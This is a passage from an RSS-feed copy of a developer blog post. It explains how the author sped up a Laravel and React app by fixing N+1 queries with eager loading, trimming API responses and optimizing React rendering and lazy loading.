&lt;h3&gt;
  
  
  Before (Bad)
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$students&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Student&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$students&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$student&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$student&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;marks&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// triggers query every time&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  After (Good)
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$students&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Student&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'marks'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Only &lt;strong&gt;2 queries total&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;No matter how many students&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Massive improvement.&lt;/p&gt;


&lt;h2&gt;
  
  
  Going Deeper: Nested Relationships
&lt;/h2&gt;

&lt;p&gt;My case wasn’t that simple.&lt;/p&gt;

&lt;p&gt;I had deeper relationships like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;students → marks → subjects&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So I used nested eager loading:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$students&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Student&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'marks.subject'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now everything loads efficiently in minimal queries.&lt;/p&gt;




&lt;h2&gt;
  
  
  Optimizing the API Response
&lt;/h2&gt;

&lt;p&gt;Fixing queries wasn’t enough.&lt;/p&gt;

&lt;p&gt;I also improved how data was sent to React.&lt;/p&gt;

&lt;h3&gt;
  
  
  What I changed:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Removed unnecessary fields&lt;/li&gt;
&lt;li&gt;Used API Resources (Transformers)&lt;/li&gt;
&lt;li&gt;Sent only what the UI actually needs
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;StudentResource&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;collection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$students&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This reduced payload size and improved speed.&lt;/p&gt;




&lt;h2&gt;
  
  
  React Side Optimization
&lt;/h2&gt;

&lt;p&gt;After fixing Laravel, I improved React too.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Avoid Unnecessary Re-renders
&lt;/h3&gt;

&lt;p&gt;I used:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;useMemo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;useCallback&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Proper state structure&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Lazy Loading Components
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;Dashboard&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lazy&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./Dashboard&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This reduced initial load time.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Efficient Data Fetching
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Avoided duplicate API calls&lt;/li&gt;
&lt;li&gt;Cached results when possible&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Result
&lt;/h2&gt;

&lt;p&gt;After all optimizations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Page load time dropped significantly&lt;/li&gt;
&lt;li&gt;API became faster and more scalable&lt;/li&gt;
&lt;li&gt;UI felt instant even with large data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What used to feel slow and heavy became smooth and responsive.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;This experience taught me something important:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Performance problems are often not where you think they are.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I spent time looking at React—but the real issue was in the database.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Always watch for &lt;strong&gt;N+1 queries&lt;/strong&gt; in backend systems&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;Eager Loading&lt;/strong&gt; in Laravel (&lt;code&gt;with()&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Optimize API responses, not just queries&lt;/li&gt;
&lt;li&gt;Frontend performance depends on backend efficiency&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Fixing the N+1 query problem completely changed how I think about building applications.&lt;/p&gt;

&lt;p&gt;Now, whenever I design a feature, I ask:&lt;/p&gt;

&lt;p&gt;👉 &lt;em&gt;How many queries will this run?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Because performance isn’t just about code—it’s about how systems interact.&lt;/p&gt;

&lt;p&gt;And once you fix the root problem, everything becomes faster.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>react</category>
      <category>laravel</category>
      <category>php</category>
    </item>
  </channel>
</rss>
